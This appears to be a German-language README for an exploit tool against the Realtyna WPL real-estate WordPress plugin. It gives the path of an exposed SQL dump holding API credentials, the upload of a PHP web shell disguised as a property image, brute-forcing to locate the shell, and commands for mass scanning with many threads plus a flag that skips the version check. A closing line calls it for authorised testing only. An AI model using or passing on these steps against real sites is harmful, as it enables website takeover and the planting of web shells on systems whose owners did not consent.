CVE-2026-14483 — WPL Immobilien RCE

Nicht authentifizierte Remote-Codeausführung gegen das Realtyna WPL Real Estate Listing WordPress-Plugin.

Standardmäßig greift das Skript nur Ziele an, die WPL 5.2.0 ausführen. Verwenden Sie --force, um dies zu überschreiben.

BILD

Zusammenfassung der Schwachstellen

1. Offenlegung von Zugangsdaten — Standard-api_key/api_secret werden über einen öffentlichen SQL-Migrationsdump offengelegt.
2. Nicht authentifizierter Upload — Diese Zugangsdaten authentifizieren die WPL-I/O-API (set_property), sodass eine manipulierte PHP-Datei als Immobilienbild hochgeladen werden kann.
3. Webshell-Erkennung — Die hochgeladene Shell befindet sich unter wp-content/uploads/WPL/{property_id}/.

Anforderungen

pip install requests colorama

• Python 3.8+
• Netzwerkzugriff auf das/die Ziel(e)

Verwendung

Zielliste

Erstellen Sie eine Textdatei mit einer Basis-URL pro Zeile:

http://wplab.test
https://example.com

Grundlegender Aufruf

python CVE-2026-14483.py --targets targets.txt

Erfolgreiche Shell-URLs werden an result.txt angehängt (oder --output).

Alle Optionen

python CVE-2026-14483.py \
  --targets targets.txt \
  --output result.txt \
  --user-id 1 \
  --max-id 1000 \
  --timeout 30 \
  --threads 5 \
  --debug \
  --force

Exploit-Ablauf

Target URL
    │
    ▼
Detect WPL version (readme.txt / wpl.php)
    │  skip unless == 5.2.0 (or --force)
    ▼
Fetch api_key + api_secret from:
  /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
    │
    ▼
POST set_property via WPL I/O API
  (upload image_0x89MADEXPLOITS.php as image/jpeg)
    │
    ▼
Brute-force property ID 1..max-id
  /wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
    │
    ▼
Write shell URL → output file

Standard-Shell-Marker: MADEXPLOITS
Standard-Remote-Dateiname: 0x89MADEXPLOITS.php

Beispiele

Einzelnes Laborziel (dieser Arbeitsbereich):

echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug

Massen-Scan mit höherer Parallelität:

python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt

Exploit erzwingen, wenn die Versionsprüfung fehlschlägt:

python CVE-2026-14483.py --targets targets.txt --force

Ausgabe

[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.

result.txt enthält eine Shell-URL pro Zeile.

Hinweise

• Die Version wird aus Stable tag: / Version: in der Plugin-Datei readme.txt gelesen, mit Fallback auf wpl.php.
• Falls die Shell nach dem Upload nicht gefunden wird, erhöhen Sie --max-id.
• Nur für autorisierte Sicherheitstests / lokale Laborumgebungen vorgesehen.